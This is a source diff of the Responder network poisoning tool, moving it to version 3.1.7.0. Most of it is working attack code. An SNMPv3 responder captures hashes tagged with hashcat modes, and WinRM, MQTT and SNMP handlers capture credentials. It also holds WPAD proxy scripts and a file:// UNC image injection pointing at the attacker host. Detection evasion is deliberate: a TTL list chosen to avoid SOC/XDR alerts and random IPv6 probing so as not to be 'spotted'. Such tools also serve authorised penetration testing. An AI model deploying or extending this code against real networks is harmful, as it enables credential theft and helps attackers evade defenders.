# Look for OID patterns in the raw data
for oid_bytes, (algo_name, hashcat_mode) in SNMPV3_AUTH_ALGORITHMS.items():
if oid_bytes in data:
return (algo_name, hashcat_mode)
# If not found by OID, try to infer from auth params length
# MD5: 12 bytes, SHA1: 12 bytes, SHA224: 16 bytes, SHA256: 24 bytes, SHA384: 32 bytes, SHA512: 48 bytes
# Note: This is less reliable
return (None, None)
except:
return (None, None)
def is_printable(self, s):
"""Check if string contains only printable characters"""
try:
return all(32 <= ord(c) <= 126 for c in s)
except:
return False
def send_snmpv3_report(self, socket):
"""
Send a minimal SNMPv3 Report PDU
This indicates authentication failure but keeps the conversation alive
"""
try:
# Minimal Report PDU - just close for now
# A proper implementation would build a valid SNMP Report PDU
pass
except:
pass
def send_discovery_response(self, socket, received_record):
"""
Send SNMPv3 discovery response with engine ID
This allows the client to send authenticated request
"""
try:
from pyasn1.type import univ
from pyasn1.codec.ber.encoder import encode
import os
import time
# Generate a random engine ID (or use a fixed one)
# Format: 0x80 + enterprise ID (4 bytes) + format + data
# Enterprise ID: 0x00000000 (reserved)
# Format: 0x05 (octets - allows arbitrary data)
# Data: 12 random bytes (17 bytes total to match hashcat requirements)
engine_id = b'\x80\x00\x00\x00\x05' + os.urandom(12)
# Engine boots and time
engine_boots = 1
engine_time = int(time.time()) % 2147483647
# Build the SNMPv3 message with Report-PDU
# Structure: SEQUENCE { version, globalData, securityParameters, scopedPDU }
# Global data
msg_id = int(received_record['field-1']['field-0'])
global_data = univ.Sequence()
global_data.setComponentByPosition(0, univ.Integer(msg_id))
global_data.setComponentByPosition(1, univ.Integer(65507)) # max size
global_data.setComponentByPosition(2, univ.OctetString(hexValue='04')) # flags: reportable
global_data.setComponentByPosition(3, univ.Integer(3)) # USM
# Security parameters (USM)
usm_params = univ.Sequence()
usm_params.setComponentByPosition(0, univ.OctetString(hexValue=engine_id.hex())) # engine ID
usm_params.setComponentByPosition(1, univ.Integer(engine_boots))
usm_params.setComponentByPosition(2, univ.Integer(engine_time))
usm_params.setComponentByPosition(3, univ.OctetString('')) # username
usm_params.setComponentByPosition(4, univ.OctetString(hexValue='00' * 12)) # auth params
usm_params.setComponentByPosition(5, univ.OctetString('')) # priv params
# Encode USM params
usm_encoded = encode(usm_params)
from pyasn1.type import tag
# Build Report-PDU with IMPLICIT tagging [8]
# The [8] tag REPLACES the SEQUENCE tag, not wraps it
# VarBind: OID + value
varbind_inner = univ.Sequence()
varbind_inner.setComponentByPosition(0, univ.ObjectIdentifier('1.3.6.1.6.3.15.1.1.4.0'))
varbind_inner.setComponentByPosition(1, univ.Integer(1))
varbind_encoded = encode(varbind_inner)
# VarBindList (SEQUENCE OF)
varbind_list_content = varbind_encoded
varbind_list_bytes = bytes([0x30, len(varbind_list_content)]) + varbind_list_content
# Report-PDU content (without SEQUENCE tag, will use [8] instead)
report_content = b''
# request-id
report_content += encode(univ.Integer(msg_id))
# error-status
report_content += encode(univ.Integer(0))
# error-index
report_content += encode(univ.Integer(0))
# variable-bindings
report_content += varbind_list_bytes
# Tag as [8] IMPLICIT (replaces SEQUENCE tag)
report_pdu_bytes = bytes([0xa8, len(report_content)]) + report_content
# Build scopedPDU as plain SEQUENCE (no [0] tag for plaintext)
# RFC 3412: plaintext msgData is just the ScopedPDU SEQUENCE
scoped_content = b''
# contextEngineID (OCTET STRING)
engine_bytes = bytes.fromhex(engine_id.hex())
scoped_content += bytes([0x04, len(engine_bytes)]) + engine_bytes
# contextName (OCTET STRING, empty)
scoped_content += bytes([0x04, 0x00])
# data (Report-PDU with implicit tag [8])
scoped_content += report_pdu_bytes
# msgData is just a SEQUENCE containing scopedPDU (no [0] tag)
msg_data_bytes = bytes([0x30, len(scoped_content)]) + scoped_content
# Use Any to include raw bytes
msg_data = univ.Any(hexValue=msg_data_bytes.hex())
# Full SNMPv3 message
snmp_msg = univ.Sequence()
snmp_msg.setComponentByPosition(0, univ.Integer(3)) # version snmpv3
snmp_msg.setComponentByPosition(1, global_data)
snmp_msg.setComponentByPosition(2, univ.OctetString(usm_encoded))
snmp_msg.setComponentByPosition(3, msg_data) # msgData with plaintext tag
# Encode and send
response = encode(snmp_msg)
socket.sendto(response, self.client_address)
if settings.Config.Verbose:
print(text('[SNMP] Sent discovery response with engine ID: %s' % engine_id.hex()))
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] Error sending discovery response: %s' % str(e)))

View File

@@ -125,14 +125,18 @@ def PacketSequence(data, client, Challenge):
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
r = IIS_Basic_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[WinRM] Sending BASIC authentication request to %s" % client))
print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = IIS_Auth_401_Ans()
r = IIS_Auth_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[WinRM] Sending NTLM authentication request to %s" % client))
print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response
@@ -175,6 +179,6 @@ class WinRM(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer))
except:
raise
self.request.close()
pass

167
settings.py Executable file → Normal file
View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.9.0'
__version__ = 'Responder 3.1.7.0'
class Settings:
@@ -42,25 +42,56 @@ class Settings:
return str.upper() == 'ON'
def ExpandIPRanges(self):
def expand_ranges(lst):
def expand_ranges(lst):
ret = []
for l in lst:
tab = l.split('.')
x = {}
i = 0
for byte in tab:
if '-' not in byte:
x[i] = x[i+1] = int(byte)
else:
b = byte.split('-')
x[i] = int(b[0])
x[i+1] = int(b[1])
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
ret.append('%d.%d.%d.%d' % (a, b, c, d))
if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses
while l.count(':') < 7:
pos = l.find('::')
l = l[:pos] + ':' + l[pos:]
tab = l.split(':')
x = {}
i = 0
xaddr = ''
for byte in tab:
if byte == '':
byte = '0'
if '-' not in byte:
x[i] = x[i+1] = int(byte, base=16)
else:
b = byte.split('-')
x[i] = int(b[0], base=16)
x[i+1] = int(b[1], base=16)
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
for e in range(x[8], x[9]+1):
for f in range(x[10], x[11]+1):
for g in range(x[12], x[13]+1):
for h in range(x[14], x[15]+1):
xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h))
xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address
xaddr = re.sub(':{3,7}', '::', xaddr, count = 7)
ret.append(xaddr)
else:
tab = l.split('.')
x = {}
i = 0
for byte in tab:
if '-' not in byte:
x[i] = x[i+1] = int(byte)
else:
b = byte.split('-')
x[i] = int(b[0])
x[i+1] = int(b[1])
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
ret.append('%d.%d.%d.%d' % (a, b, c, d))
return ret
self.RespondTo = expand_ranges(self.RespondTo)
@@ -84,21 +115,29 @@ class Settings:
config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
# Db File
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
@@ -119,10 +158,8 @@ class Settings:
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
@@ -132,22 +169,64 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
if options.TTL is None:
self.TTL = None
# Random TTL
elif options.TTL.upper() == "RANDOM":
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
if TTL in TTL_blacklist:
TTL = int.from_bytes(TTL, "big")+1
TTL = int.to_bytes(TTL, 4)
self.TTL = TTL.decode('utf-8')
else:
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
#Do we have IPv6 for real?
self.IPv6 = utils.Probe_IPv6_socket()
if self.Interface == "ALL":
self.Bind_To_ALL = True
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
#IPV4
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
#IPV6
if self.Interface == "ALL":
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
else:
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
#External IP
if self.ExternalIP:
if utils.IsIPv6IP(self.ExternalIP):
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP()
else:
self.ExternalResponderIP = self.Bind_To
#External IPv6
if self.ExternalIP6:
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
self.ExternalResponderIP6 = utils.RespondWithIP6()
else:
self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform
@@ -156,9 +235,11 @@ class Settings:
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
@@ -182,17 +263,21 @@ class Settings:
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if len(self.HtmlToInject) == 0:
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
if len(self.WPAD_Script) == 0:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
if self.WPAD_On_Off:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
if self.ProxyAuth_On_Off:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
if self.Serve_Exe == True:
if not os.path.exists(self.Html_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
@@ -202,10 +287,14 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL']
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL'
@@ -260,7 +349,7 @@ class Settings:
pass
else:
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1")
Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1")
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
@@ -271,10 +360,12 @@ class Settings:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
except:
p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except:
@@ -284,10 +375,10 @@ class Settings:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
#utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print("Missing Module:", ex)
pass

View File

@@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s):
Output = ExtractRPCCommandOutput(data)[12:]
while True:
dataoffset = dataoffset + buffsize
if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag
LastFragLen = struct.unpack('<h', data[61:63])[0]
if LastFragLen < 1024:
Output += ExtractRPCCommandOutput(data)
@@ -646,7 +646,7 @@ def MimiKatzRPC(Command, f, host, data, s):
Output += ExtractRPCCommandOutput(data)
break
if data[64:66] == b"\x05\x00" and data[67] == b"\x03":##First and Last DCE/RPCFrag
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x03":##First and Last DCE/RPCFrag
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s)
Output += ExtractRPCCommandOutput(data)
break

View File

@@ -3,7 +3,10 @@ try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
@@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
def SMB2SigningMandatory(data):
global SMB2signing
if data[70] == "\x03":
if data[70:71] == "\x03":
SMB2signing = "True"
else:
SMB2signing = "False"
@@ -123,7 +123,7 @@ def WorkstationFingerPrint(data):
b"\x06\x01" :"Windows 7/Server 2008R2",
b"\x06\x02" :"Windows 8/Server 2012",
b"\x06\x03" :"Windows 8.1/Server 2012R2",
b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)",
b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)",
}.get(data, 'Other than Microsoft')
def GetOsBuildNumber(data):
@@ -201,7 +201,7 @@ def IsDCVuln(t, host):
#####################
def IsSigningEnabled(data):
if data[39] == "\x0f":
if data[39:40] == "\x0f":
return 'True'
else:
return 'False'
@@ -251,7 +251,6 @@ def DomainGrab(Host):
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
s.close()
if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data)
except IOError as e:
@@ -359,12 +358,12 @@ def ConnectAndChoseSMB(host):
if not data:
break
except Exception:
pass
return False
else:
return False
def handle(data, host):
if data[28] == "\x00":
if data[28:29] == "\x00":
a = SMBv2Head()
a.calculate()
b = SMBv2Negotiate()
@@ -373,7 +372,7 @@ def handle(data, host):
buffer0 = longueur(packet0)+packet0
return buffer0
if data[28] == "\x01":
if data[28:29] == "\x01":
global Bootime
SMB2SigningMandatory(data)
Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0])
@@ -385,7 +384,7 @@ def handle(data, host):
buffer0 = longueur(packet0)+packet0
return buffer0
if data[28] == "\x02":
if data[28:29] == "\x02":
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
##################

View File

@@ -1,4 +1,5 @@
import random, struct, sys
import random, struct, sys, os
from os import urandom
from socket import *
from time import sleep
from odict import OrderedDict
@@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
("SecurityMode", "\x01\x00"),
("Reserved","\x00\x00"),
("Capabilities","\x00\x00\x00\x00"),
("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
("ClientGUID", urandom(16).decode('latin-1')),
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
("Dialect1","\x02\x02"),
("Dialect2","\x10\x02"),

View File

@@ -152,7 +152,7 @@ def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def IsSigningEnabled(data):
if data[39] == "\x0f":
if data[39:40] == b"\x0f":
return True
else:
return False

View File

@@ -3,7 +3,10 @@ try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

View File

@@ -3,7 +3,10 @@ try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

179
utils.py Executable file → Normal file
View File

@@ -24,8 +24,29 @@ import settings
import datetime
import codecs
import struct
import random
try:
import netifaces
except:
sys.exit('You need to install python3-netifaces or run Responder with python3...\nTry "apt-get install python3-netifaces" or "pip install netifaces"')
try:
import aioquic
except:
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
from calendar import timegm
def if_nametoindex2(name):
if settings.Config.PY2OR3 == "PY2":
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
ret = libc.if_nametoindex(name)
return ret
else:
return socket.if_nametoindex(settings.Config.Interface)
def RandomChallenge():
if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random":
@@ -106,7 +127,10 @@ def RespondToThisIP(ClientIp):
return False
def RespondToThisName(Name):
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
return False
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
@@ -128,17 +152,30 @@ def RespondWithIPAton():
else:
return settings.Config.IP_aton.decode('latin-1')
def RespondWithIP():
def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton
else:
return settings.Config.Bind_To
return settings.Config.IP_Pton6
else:
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton.decode('latin-1')
else:
return settings.Config.Bind_To
return settings.Config.IP_Pton6.decode('latin-1')
def RespondWithIP():
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
else:
return settings.Config.Bind_To
def RespondWithIP6():
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6
else:
return settings.Config.Bind_To6
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
@@ -148,6 +185,16 @@ def OsInterfaceIsSupported():
def IsOsX():
return sys.platform == "darwin"
def IsIPv6IP(IP):
if IP == None:
return False
regex = r"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
ret = re.search(regex, IP)
if ret:
return True
else:
return False
def FindLocalIP(Iface, OURIP):
if Iface == 'ALL':
return '0.0.0.0'
@@ -155,6 +202,19 @@ def FindLocalIP(Iface, OURIP):
try:
if IsOsX():
return OURIP
elif IsIPv6IP(OURIP):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
elif IsIPv6IP(OURIP) == False and OURIP != None:
return OURIP
elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@@ -162,11 +222,54 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0]
s.close()
return ret
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
def Probe_IPv6_socket():
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
if not socket.has_ipv6:
return False
try:
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
s.bind(("::1", 0))
return True
except:
return False
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
@@ -231,7 +334,7 @@ def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
result['client'] = result['client'].replace("::ffff:","")
if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user'])
@@ -251,16 +354,10 @@ def SaveToDb(result):
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
if settings.Config.CaptureMultipleHashFromSameHost:
if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
@@ -307,7 +404,7 @@ def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
